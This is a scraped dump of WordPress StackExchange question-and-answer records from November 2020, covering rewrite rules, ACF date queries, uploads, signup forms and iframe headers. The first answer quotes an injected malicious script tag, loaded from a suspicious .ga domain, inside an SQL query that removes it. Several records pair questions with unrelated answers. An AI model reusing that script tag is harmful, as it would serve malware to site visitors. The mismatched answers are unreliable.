[ { "answer_id": 377775, "author": "uPrompt", "author_id": 155077, "author_profile": "https://wordpress.stackexchange.com/users/155077", "pm_score": 4, "selected": true, "text": "<p>Try this:</p>\n<pre><code>UPDATE wp_posts SET post_content = REPLACE (post_content, &quot;&lt;script src='ht...
2020/11/09
[ "https://wordpress.stackexchange.com/questions/377848", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197244/" ]
I tried several plugins posted by Weston Ruter for jQuery created controls for the WP Customizer. They work but are different from those created via PHP. For example, controls created with PHP (`customizer.php`) respond normally to code in `customize-controls.js` or in `customize-previews.js`: ```js api( 'tzkmx_test_c...
Try this: ``` UPDATE wp_posts SET post_content = REPLACE (post_content, "<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>",""); ```
377,910
<p>I'm saving some pdfs into a folder with mpdf, the urls of pdfs are like this:</p> <pre><code>https://example.com/wp-content/themes/mysitetheme/invoices/invoice_8937.pdf </code></pre> <p>I want that if someone open this url it will show a shorter version like this:</p> <pre><code>https://example.com/invoice_8937.pdf ...
[ { "answer_id": 377912, "author": "silvered.dragon", "author_id": 152290, "author_profile": "https://wordpress.stackexchange.com/users/152290", "pm_score": 2, "selected": true, "text": "<p>ok it was easy, the problem was that to match the left side pattern you have to use $1 not $matches[...
2020/11/09
[ "https://wordpress.stackexchange.com/questions/377910", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/152290/" ]
I'm saving some pdfs into a folder with mpdf, the urls of pdfs are like this: ``` https://example.com/wp-content/themes/mysitetheme/invoices/invoice_8937.pdf ``` I want that if someone open this url it will show a shorter version like this: ``` https://example.com/invoice_8937.pdf ``` how can I obtain this result...
ok it was easy, the problem was that to match the left side pattern you have to use $1 not $matches[1], this is the solution ``` /** * Rewrite rules */ add_action( 'init', function() { add_rewrite_rule( '^invoice_([0-9]+).pdf$', '/wp-content/themes/mysitetheme/invoices/invoice_$1.pdf', 'top' ); } ); ``` **UPD...
377,920
<p>I have just made a WordPress plugin and I would like to scan it for <a href="https://owasp.org/www-project-top-ten/" rel="nofollow noreferrer">OWASP Top 10</a> vulnerabilities, any resources on how to get started here?</p> <p>Thanks</p>
[ { "answer_id": 377912, "author": "silvered.dragon", "author_id": 152290, "author_profile": "https://wordpress.stackexchange.com/users/152290", "pm_score": 2, "selected": true, "text": "<p>ok it was easy, the problem was that to match the left side pattern you have to use $1 not $matches[...
2020/11/10
[ "https://wordpress.stackexchange.com/questions/377920", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/26393/" ]
I have just made a WordPress plugin and I would like to scan it for [OWASP Top 10](https://owasp.org/www-project-top-ten/) vulnerabilities, any resources on how to get started here? Thanks
ok it was easy, the problem was that to match the left side pattern you have to use $1 not $matches[1], this is the solution ``` /** * Rewrite rules */ add_action( 'init', function() { add_rewrite_rule( '^invoice_([0-9]+).pdf$', '/wp-content/themes/mysitetheme/invoices/invoice_$1.pdf', 'top' ); } ); ``` **UPD...
377,955
<p>I have an ACF field 'date_of_birth' which stores the user's birthday, examples: 20201226, 20151225, 19980701</p> <p><strong>Goal</strong>: get all users which have their birthday this month, or next month.</p> <p>I currently have this:</p> <pre><code> $users_start_date_boundary = gmdate( 'Ymd', strtotime( '-1 mon...
[ { "answer_id": 377956, "author": "kero", "author_id": 108180, "author_profile": "https://wordpress.stackexchange.com/users/108180", "pm_score": 0, "selected": false, "text": "<p>I believe since ACF stores the values as <code>Ymd</code> you have to write some kind of workaround. One possi...
2020/11/10
[ "https://wordpress.stackexchange.com/questions/377955", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197337/" ]
I have an ACF field 'date\_of\_birth' which stores the user's birthday, examples: 20201226, 20151225, 19980701 **Goal**: get all users which have their birthday this month, or next month. I currently have this: ``` $users_start_date_boundary = gmdate( 'Ymd', strtotime( '-1 month' ) ); $users_end_date_boundar...
Here is the code based on custom SQL query as suggested by @Rup that should work for you: ```php // get '-1 month' and '+2 month' dates as an array('YYYY', 'MMDD') $before = str_split( gmdate( 'Ymd', strtotime( '-1 month' ) ), 4 ); $after = str_split( gmdate( 'Ymd', strtotime( '+2 month' ) ), 4 ); // if the before/aft...
378,042
<p>Could not insert attachment into the database.</p> <p>When ever I try to upload new images from WordPress media it shows me above error.</p> <p>Please help me why wp database shows this error.</p>
[ { "answer_id": 378054, "author": "Walter P.", "author_id": 65317, "author_profile": "https://wordpress.stackexchange.com/users/65317", "pm_score": 1, "selected": true, "text": "<p>Try the following solutins:</p>\n<ol>\n<li><p>First of all check your WP database size and check whether the...
2020/11/12
[ "https://wordpress.stackexchange.com/questions/378042", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/145005/" ]
Could not insert attachment into the database. When ever I try to upload new images from WordPress media it shows me above error. Please help me why wp database shows this error.
Try the following solutins: 1. First of all check your WP database size and check whether the size is full according to your hosting provider's requirement/rule. 2. Second option, add this line into your **wp-config.php**: ``` define('WP_MEMORY_LIMIT', '256M'); ``` Also if you have access to **php.ini** (or php[ver...
378,187
<p>I am using this code as a custom signup form. Is there any chance to create a success message for it?</p> <pre class="lang-php prettyprint-override"><code>&lt;?php /* ** Template Name: Custom Register Page */ get_header(); global $wpdb, $user_ID; if (isset($_POST['user_registeration'])) { //regis...
[ { "answer_id": 378148, "author": "Chris Norman", "author_id": 188864, "author_profile": "https://wordpress.stackexchange.com/users/188864", "pm_score": 1, "selected": false, "text": "<p>That is a fairly open-ended question. There is a lot you will have to do. The first step is you will h...
2020/11/14
[ "https://wordpress.stackexchange.com/questions/378187", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197559/" ]
I am using this code as a custom signup form. Is there any chance to create a success message for it? ```php <?php /* ** Template Name: Custom Register Page */ get_header(); global $wpdb, $user_ID; if (isset($_POST['user_registeration'])) { //registration_validation($_POST['username'], $_POST['user...
Custom post types and taxonomies are the appropriate method of doing this. It sounds like you've already identified the appropriate taxonomies and CPT: * A `company` post type * A `company_type` taxonomy `register_post_type` and `register_taxonomy` can do this for you. Don't forget to re-save permalinks if you use th...
378,229
<p>Will someone guide why this code doesn't work. Even the data gets changed. Here is the ajax I use.</p> <pre><code>jQuery(document).ready(function($) { $(&quot;.ue_ajax_enabled&quot;).on('click', function(event) { event.preventDefault(); /* Act on the event */ $.ajax({ url: ue...
[ { "answer_id": 378148, "author": "Chris Norman", "author_id": 188864, "author_profile": "https://wordpress.stackexchange.com/users/188864", "pm_score": 1, "selected": false, "text": "<p>That is a fairly open-ended question. There is a lot you will have to do. The first step is you will h...
2020/11/16
[ "https://wordpress.stackexchange.com/questions/378229", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/140102/" ]
Will someone guide why this code doesn't work. Even the data gets changed. Here is the ajax I use. ``` jQuery(document).ready(function($) { $(".ue_ajax_enabled").on('click', function(event) { event.preventDefault(); /* Act on the event */ $.ajax({ url: ue_ajax.ajax_url, ...
Custom post types and taxonomies are the appropriate method of doing this. It sounds like you've already identified the appropriate taxonomies and CPT: * A `company` post type * A `company_type` taxonomy `register_post_type` and `register_taxonomy` can do this for you. Don't forget to re-save permalinks if you use th...
378,280
<p>i want to update all my wordpress post modified date and time to a specific date and time, i have a code to update it base on the id, but i want one to update all the row at once without putting the id of the posts .</p> <pre class="lang-php prettyprint-override"><code>$sql = &quot;UPDATE Zulu_posts SET post_modifie...
[ { "answer_id": 378281, "author": "phatskat", "author_id": 20143, "author_profile": "https://wordpress.stackexchange.com/users/20143", "pm_score": 1, "selected": true, "text": "<p>You can use a generalized update query. As always, when dealing with databases <strong>take a backup first</s...
2020/11/17
[ "https://wordpress.stackexchange.com/questions/378280", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197646/" ]
i want to update all my wordpress post modified date and time to a specific date and time, i have a code to update it base on the id, but i want one to update all the row at once without putting the id of the posts . ```php $sql = "UPDATE Zulu_posts SET post_modified='2020-11-17 16:06:00' WHERE id=2"; if ($conn->quer...
You can use a generalized update query. As always, when dealing with databases **take a backup first**. With that out of the way, your query should look something like: ```sql BEGIN; -- Start a transaction UPDATE wp_posts SET post_modified = <Your new date> AND post_modified_gmt = <Your new date in GMT>; SELEC...
378,343
<p>I'm trying to replace the &quot;thumb-w&quot; CSS class with &quot;thumb-w1&quot;, just the first time. This is the starting function:</p> <pre><code>function start_modify_html() { ob_start(); } function end_modify_html() { $html = ob_get_clean(); $html = str_replace( 'thumb-w', 'thumb-w 1', $html); echo...
[ { "answer_id": 378281, "author": "phatskat", "author_id": 20143, "author_profile": "https://wordpress.stackexchange.com/users/20143", "pm_score": 1, "selected": true, "text": "<p>You can use a generalized update query. As always, when dealing with databases <strong>take a backup first</s...
2020/11/17
[ "https://wordpress.stackexchange.com/questions/378343", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/192453/" ]
I'm trying to replace the "thumb-w" CSS class with "thumb-w1", just the first time. This is the starting function: ``` function start_modify_html() { ob_start(); } function end_modify_html() { $html = ob_get_clean(); $html = str_replace( 'thumb-w', 'thumb-w 1', $html); echo $html; } add_action( 'wp_head', ...
You can use a generalized update query. As always, when dealing with databases **take a backup first**. With that out of the way, your query should look something like: ```sql BEGIN; -- Start a transaction UPDATE wp_posts SET post_modified = <Your new date> AND post_modified_gmt = <Your new date in GMT>; SELEC...
378,352
<p>I have a site with many product categories and subcategories. I need to show the same sidebar as the primary category in the subcategories as well.</p> <p>Example:</p> <p>Wine (sidebar 1) White Wine (sidebar 1) Red Wine (sidebar 1) ...and many others</p> <p>Distillates (sidebar 2) Whisky (sidebar 2) Brandy (sidebar ...
[ { "answer_id": 378360, "author": "Tony Djukic", "author_id": 60844, "author_profile": "https://wordpress.stackexchange.com/users/60844", "pm_score": 0, "selected": false, "text": "<p>Not sure how you're going to be calling these categories as you could do it programmatically using <code>...
2020/11/18
[ "https://wordpress.stackexchange.com/questions/378352", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197709/" ]
I have a site with many product categories and subcategories. I need to show the same sidebar as the primary category in the subcategories as well. Example: Wine (sidebar 1) White Wine (sidebar 1) Red Wine (sidebar 1) ...and many others Distillates (sidebar 2) Whisky (sidebar 2) Brandy (sidebar 2) ...and many others...
``` $currentCat = get_queried_object(); if ( $currentCat->term_id == 64 || $currentCat->parent == 64 ) { dynamic_sidebar('Distillati Sidebar'); } ``` I solved in this way: it works!
378,552
<p>I have a wordpress page template, where I'm loading custom posts.</p> <p>The code for fetching these custom posts looks as follows:</p> <p><strong>template-parts/content-page.php</strong></p> <pre><code>&lt;article id=&quot;songs&quot;&gt; &lt;?php get_template_part( 'partials/content/custom', 'songs' ); ?&gt; &...
[ { "answer_id": 378564, "author": "Veerji", "author_id": 197182, "author_profile": "https://wordpress.stackexchange.com/users/197182", "pm_score": 1, "selected": false, "text": "<p>In your case you can use ajax on page scroll ( Infinite Scroll ) to load more post. On first page load it w...
2020/11/21
[ "https://wordpress.stackexchange.com/questions/378552", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197865/" ]
I have a wordpress page template, where I'm loading custom posts. The code for fetching these custom posts looks as follows: **template-parts/content-page.php** ``` <article id="songs"> <?php get_template_part( 'partials/content/custom', 'songs' ); ?> </article> ``` **partials/content/custom/songs.php** ``` $...
Regardless if you are loading through AJAX or not, if you need to load 2000+ records on one page, at one single time or in one single request you are always going to be at the mercy of your server resources to do so. I would look at caching solutions first as that will be the simplest to set up quickly - then in the m...
378,672
<p>I want to create some custom fields that will be able to show to a default wordpress post. I don't want to use the ACF plugin. Is there anyway to do it programmatically?</p> <p>Thanks</p>
[ { "answer_id": 378676, "author": "Marcus Hohlbein", "author_id": 197957, "author_profile": "https://wordpress.stackexchange.com/users/197957", "pm_score": 2, "selected": false, "text": "<p>You can use the custom fields included in wordpress</p>\n<p>Add a new post and do the following ste...
2020/11/23
[ "https://wordpress.stackexchange.com/questions/378672", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/197094/" ]
I want to create some custom fields that will be able to show to a default wordpress post. I don't want to use the ACF plugin. Is there anyway to do it programmatically? Thanks
You can use the custom fields included in wordpress Add a new post and do the following steps: **1. Go to the Options page** [![select options page](https://i.stack.imgur.com/nqsqA.png)](https://i.stack.imgur.com/nqsqA.png) **2. Select "custom fields" and hit the reload button** [![select the custom field option a...
378,725
<p>In the built category, we can use <code>has_category()</code> and <code>the_category()</code> to show if the post has category and the name of the category.</p> <p>Now, I am using my custom post type and custom taxonomy. The above two functions are invalid in this case. I wonder what's the API to use here? Thank you...
[ { "answer_id": 378728, "author": "Tiyo", "author_id": 197579, "author_profile": "https://wordpress.stackexchange.com/users/197579", "pm_score": 1, "selected": false, "text": "<p>Usually I used <code>has_term()</code> and <code>the_terms()</code>.</p>\n<p>These are the examples</p>\n<pre>...
2020/11/24
[ "https://wordpress.stackexchange.com/questions/378725", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/193939/" ]
In the built category, we can use `has_category()` and `the_category()` to show if the post has category and the name of the category. Now, I am using my custom post type and custom taxonomy. The above two functions are invalid in this case. I wonder what's the API to use here? Thank you.
Usually I used `has_term()` and `the_terms()`. These are the examples ``` if( has_term('', 'genre') ){ // do something } ``` ``` the_terms( $post->ID, 'category', 'categories: ', ' / ' ); ``` OR, I used this to get a list `get_the_term_list()` for example ``` echo get_the_term_list($post->ID, 'category', ''...
378,791
<p>I'm using <code>pre_get_posts</code> and looking for a way to exclude posts in the main query. I'm using <code>query_vars</code> to query posts from a specific category and looking for a solution to exclude those posts in the main query.</p> <p>My code:</p> <pre><code>// function to setup query_vars function ctrl_dl...
[ { "answer_id": 378794, "author": "Hims V", "author_id": 170356, "author_profile": "https://wordpress.stackexchange.com/users/170356", "pm_score": 0, "selected": false, "text": "<p>Did you try with this one?</p>\n<pre><code>$query-&gt;set( 'post__not_in', array( 1, 1 ) );\n</code></pre>\n...
2020/11/25
[ "https://wordpress.stackexchange.com/questions/378791", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/8049/" ]
I'm using `pre_get_posts` and looking for a way to exclude posts in the main query. I'm using `query_vars` to query posts from a specific category and looking for a solution to exclude those posts in the main query. My code: ``` // function to setup query_vars function ctrl_dly_podcast( $query_vars ){ $query_vars[]...
This should be better: So in `pre_get_posts`, I've setup a `get_posts` function to get IDs of posts and then pass them on to `post_not_in` and `offset` the first post from the loop. ``` function site_alerts( $query_vars ){ $query_vars[] = 'opby_alerts'; return $query_vars; } add_filter( 'query_vars', 'site_aler...
378,819
<p>I have a Wordpress site hosted on LightSail (which uses bitnami). The domain is <code>https://example.com</code> On a subdomain <code>https://sub.example.com</code> I have another server running. On this server, I want to embed a page from the main domain <code>https://example.com/a-page</code>. Currently, I am gett...
[ { "answer_id": 378840, "author": "xuan hung Nguyen", "author_id": 195040, "author_profile": "https://wordpress.stackexchange.com/users/195040", "pm_score": -1, "selected": false, "text": "<p>In your case, I think you should use this code in htaccess file to allow Iframe can load with the...
2020/11/25
[ "https://wordpress.stackexchange.com/questions/378819", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/198091/" ]
I have a Wordpress site hosted on LightSail (which uses bitnami). The domain is `https://example.com` On a subdomain `https://sub.example.com` I have another server running. On this server, I want to embed a page from the main domain `https://example.com/a-page`. Currently, I am getting errors that permission is denied...
I was able to figure out that because Lightsail uses a Bitnami deployment of Wordpress, Bitnami overrides the `.htaccess` file. Instead you have to update the `/opt/bitnami/apache2/conf/httpd.conf` file by adding the following content: ``` <IfModule headers_module> <IfVersion >= 2.4.7 > Header always seti...
378,820
<p>I have a page that only users of my native iOS app will find, which should open the app. This works (on any other HTML page anyway) by linking to &quot;myapp://path/inside/app&quot;.</p> <p>Wordpress keeps &quot;fixing&quot; this to &quot;https://path/inside/app&quot;, which doesn't work of course. I didn't find a s...
[ { "answer_id": 378840, "author": "xuan hung Nguyen", "author_id": 195040, "author_profile": "https://wordpress.stackexchange.com/users/195040", "pm_score": -1, "selected": false, "text": "<p>In your case, I think you should use this code in htaccess file to allow Iframe can load with the...
2020/11/25
[ "https://wordpress.stackexchange.com/questions/378820", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/198093/" ]
I have a page that only users of my native iOS app will find, which should open the app. This works (on any other HTML page anyway) by linking to "myapp://path/inside/app". Wordpress keeps "fixing" this to "https://path/inside/app", which doesn't work of course. I didn't find a setting to stop it from doing this. Is t...
I was able to figure out that because Lightsail uses a Bitnami deployment of Wordpress, Bitnami overrides the `.htaccess` file. Instead you have to update the `/opt/bitnami/apache2/conf/httpd.conf` file by adding the following content: ``` <IfModule headers_module> <IfVersion >= 2.4.7 > Header always seti...